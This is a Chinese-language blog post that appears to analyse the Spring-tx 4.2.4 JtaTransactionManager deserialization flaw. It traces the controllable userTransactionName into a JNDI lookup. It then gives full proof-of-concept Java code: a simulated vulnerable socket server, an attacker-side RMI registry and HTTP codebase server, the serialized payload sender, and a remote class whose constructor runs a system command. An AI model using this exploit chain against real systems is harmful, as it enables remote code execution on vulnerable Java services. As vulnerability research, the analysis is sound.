前言
在上一篇 fastjson 反序列化漏洞的分析中,使用了两种漏洞利用方式,第二种方式中使用了 JNDI 结合 RMI 使 poc 变得更加通用。类似的利用方式可以应用在 spring-tx 4.2.4 的反序列化漏洞中。
漏洞分析
JNDI 支持的服务类型很多,其中也包含 RMI 服务。在 RMI 服务中,客户端会通过 lookup() 方法向 RMI Registry 请求远程对象的 stub。如果客户端的 lookup() 方法的参数可控,我们可以让客户端向攻击者的 RMI Registry 请求 stub。而请求的远程对象是攻击者可控的,攻击者可以在该 RMI 服务中注册一个 Reference 类型的对象,其中的 classname 和 codebase url 都是可控的。当改变客户端的 lookup() 参数去请求该注册对象时,客户端在 classpath 中找不到 classname 指定的类,就会根据 codebase url 和 classname 去加载该类的 class 文件,加载到该类后,会实例化该类。
根据分析,我们要执行的代码可以写在 Reference 指定的远程类中的如下位置。
1 2 3
| 1. 构造方法中 2. 静态代码块中 3. getObjectInstance() 方法中
|
将要执行的代码放到第三个位置需要远程类实现 ObjectFactory 接口,并实现该接口的 getObjectInstance() 方法,暂未测试。后面分析的 poc 将执行代码写在远程类的构造方法中。
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.2.4.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context</artifactId> <version>4.2.4.RELEASE</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>javax.transaction-api</artifactId> <version>1.2</version> </dependency> </dependencies>
|
该漏洞发生在 org.springframework.transaction.jta.JtaTransactionManager 类中,该类与 spring 的事务管理相关。
因为是反序列化漏洞,所以我们找到 JtaTransactionManager 类的 readObject() 方法,该方法会在反序列化时被调用。在 idea 中使用 command + f12 定位类中的方法。
JtaTransactionManager 的 readObject() 方法。
跟入 initUserTransactionAndTransactionManager() 方法。
在 php 的反序列化中,我们主要是通过控制对象的属性构造 pop 链,并通过属性构造利用代码。在 java 中也类似,这里的 userTransactionName 就是我们要控制的属性,该值最终会进入 lookup() 方法中,根据前面的分析,我们的目标就是改变受害者的 lookup() 方法中的参数。
跟入 lookupUserTransaction() 方法。
在 lookupUserTransaction() 方法中,先通过 getJndiTemplate() 方法取出了一开始在 readObject() 方法中创建的 JndiTemplate 的实例,接着调用 JndiTemplate 的 lookup() 方法,并传入了可控的 userTransactionName 属性。
JndiTemplate 的 lookup() 方法。
在 JndiTemplate 的 lookup() 方法中,先创建了一个匿名内部类,name 参数就是从 lookupUserTransaction() 方法中传来的可控内容。当执行该匿名类的 doInContext() 方法时,会将可控内容传入 InitialContext 的 lookup() 方法中。
跟入 execute() 方法。
在 execute() 方法中,执行了匿名类的 doInContext() 方法,而其中进入 InitialContext 的 lookup() 方法的参数我们可控,即可以让受害者向我们的 RMI 服务请求远程对象。到这里,漏洞分析就结束了。
poc 分析
根据前面的分析,该漏洞虽然是一个反序列化漏洞,但是要实现利用需要结合一个反序列化的接口,即漏洞触发点。在 php 中,如果我们找到一条 pop 链,我们可以通过 phar 等方式触发。所以 poc 中通过模拟一个反序列化接口对该漏洞进行复现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class ExploitableServer { public static void main(String[] args) { try { ServerSocket serverSocket = new ServerSocket(9999); System.out.println("Server started on port " + serverSocket.getLocalPort()); while(true) { Socket socket=serverSocket.accept(); System.out.println("Connection received from " + socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { Object object = objectInputStream.readObject(); System.out.println("Read object "+ object); } catch(Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch(Exception e) { e.printStackTrace(); } } }
|
上面通过监听 9999 端口,将接收到的数据进行反序列化来模拟触发点。下面是攻击者的服务端代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| public class SpringPOC {
public static void lanuchCodebaseURLServer() throws IOException { System.out.println("Starting HTTP server"); HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0); httpServer.createContext("/", new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); }
public static void lanuchRMIregister() throws Exception { System.out.println("Creating RMI Registry"); Registry registry = LocateRegistry.createRegistry(1999); Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); }
public static void sendPayload() throws Exception { String jndiAddress = "rmi://127.0.0.1:1999/Object"; JtaTransactionManager object = new JtaTransactionManager(); object.setUserTransactionName(jndiAddress); Socket socket = new Socket("127.0.0.1", 9999); System.out.println("Sending object to server..."); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush(); socket.close(); } public static void main(String[] args) throws Exception { lanuchCodebaseURLServer(); lanuchRMIregister(); sendPayload(); } }
|
主要思路就是,攻击者需要在服务端开启一个 RMI 服务和一个 web 服务,RMI 服务中注册一个 Reference 对象,web 服务上存放了 Reference 指定的 class 文件。这里的 web 服务是通过 JDK 内置的 HttpServer 类实现的。还需要一个实现 HttpHandler 接口的实现类,该 web 服务会回调实现类的 handle() 方法处理请求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class HttpFileHandler implements HttpHandler { public void handle(HttpExchange httpExchange) { try { System.out.println("new http request from "+ httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath()); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); while(inputStream.available()>0) { byteArrayOutputStream.write(inputStream.read()); }
byte[] bytes = byteArrayOutputStream.toByteArray(); httpExchange.sendResponseHeaders(200, bytes.length); httpExchange.getResponseBody().write(bytes); httpExchange.close(); } catch(Exception e) { e.printStackTrace(); } } }
|
生成放到 web 服务上的 ExportObject.class 文件。
1 2 3 4 5 6 7 8 9 10
| public class ExportObject {
public ExportObject() throws Exception { Runtime.getRuntime().exec("open /Applications/Calculator.app"); }
public static void main(String[] args) throws Exception { ExportObject eo = new ExportObject(); } }
|
先启动受害者服务器 ExploitableServer.java。再启动攻击者服务器 SpringPOC.java,向受害者的反序列化接口发送利用代码,即可触发漏洞。
总结
poc 来自参考文章。
如有错误,欢迎讨论 : )
ref :
https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-分析以及利用/